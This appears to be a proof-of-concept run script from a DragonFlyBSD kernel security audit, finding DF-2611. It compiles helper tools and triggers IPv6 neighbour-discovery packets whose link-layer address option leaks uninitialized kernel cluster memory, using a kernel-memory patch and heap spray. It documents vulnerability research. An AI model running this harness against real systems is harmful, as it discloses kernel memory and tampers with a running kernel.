DragonFlyBSD Kernel Audit
DF-2611 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2611 canonical run (root):
#  1. control: stock tap0 (if_addrlen=6) -> TLLA option len 8, zero pad bytes
#  2. leak run: ifi_addrlen patched to 8 (simulating fwip/EUI-64) + cluster
#     spray -> TLLA option len 16, bytes [10,16) are uninitialized cluster
#     contents (the spray pattern) transmitted on the wire
#  3. leak run without spray: natural stale-cluster contents
set -x
cd /root/poc
cc -O2 -Wall -o tap_rdr tap_rdr.c
cc -O2 -Wall -o kmem_addrlen kmem_addrlen.c
echo CONTROL_addrlen6_start
./tap_rdr trigger 5 nospray
echo CONTROL_addrlen6_end
echo LEAK_addrlen8_spray_start
./tap_rdr trigger 20 spray patch8
echo LEAK_addrlen8_spray_end
echo LEAK_addrlen8_nospray_start
./tap_rdr trigger 10 nospray patch8
echo LEAK_addrlen8_nospray_end